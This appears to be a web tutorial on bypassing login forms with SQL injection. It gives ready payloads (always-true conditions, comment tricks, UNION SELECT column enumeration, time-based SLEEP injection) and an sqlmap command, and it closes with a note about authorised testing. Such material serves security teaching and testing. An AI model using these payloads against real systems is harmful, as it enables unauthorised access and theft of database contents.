TL;DR
This guide shows how to bypass a login page using SQL injection. We’ll exploit vulnerabilities in the username or password fields to gain access without knowing valid credentials.
Understanding SQL Injection
SQL injection happens when user input is used directly in a database query without proper sanitisation. Attackers can insert malicious SQL code into these inputs, potentially altering the query’s logic and bypassing security measures like login authentication.
Steps to Bypass Login with SQL Injection
- Identify Potential Vulnerability: Look for login forms where you can directly enter a username and password.
- Basic Injection Attempt (Username Field): Try injecting simple quotes (‘) into the username field. If an error message related to SQL syntax appears, it suggests a vulnerability might exist.
- Common Bypass Payloads: Test these payloads in the username field:
' OR '1'='1: This attempts to create a condition that is always true, effectively bypassing the username check.admin' -- -: This tries to comment out the rest of the query after a successful login with ‘admin’.' UNION SELECT 1,2,3...: This attempts to retrieve data from other tables in the database. You’ll need to determine the number of columns to match the original query.
- Example Scenario (MySQL): Let’s assume the login query is something like:
SELECT * FROM users WHERE username = '$username' AND password = '$password';Using the payload
' OR '1'='1in the username field would change the query to:SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '$password';Since ‘1’=’1′ is always true, it will return all rows from the users table.
- Example Scenario (PostgreSQL): The payload might be similar:
' OR TRUE -- - - Bypass with UNION SELECT: If you suspect there are other interesting tables, use
UNION SELECTto retrieve data. First, determine the number of columns in the original query.- Try payloads like
' UNION SELECT null,null,null...and increase the number of ‘null’ values until no error occurs. - Once you know the column count (e.g., 3), try retrieving data:
' UNION SELECT version(),database(),user() -- -
- Try payloads like
- Bypass with Time-Based Blind SQL Injection: If error messages are suppressed, you can use time-based injection.
- Payload example (MySQL):
' AND IF(1=1, SLEEP(5), 0) -- -This will cause a 5-second delay if the condition is true.
- Payload example (MySQL):
- Password Field Injection: Repeat steps 3-7 using the password field instead of the username field. Sometimes, vulnerabilities exist only in one field.
- Automated Tools: Consider using tools like SQLMap to automate the process of detecting and exploiting SQL injection vulnerabilities.
sqlmap -u "http://example.com/login.php" --data="username=test&password=test" --dbs - Important Note: Always test these techniques on systems you have explicit permission to assess. Unauthorized access is illegal and unethical.

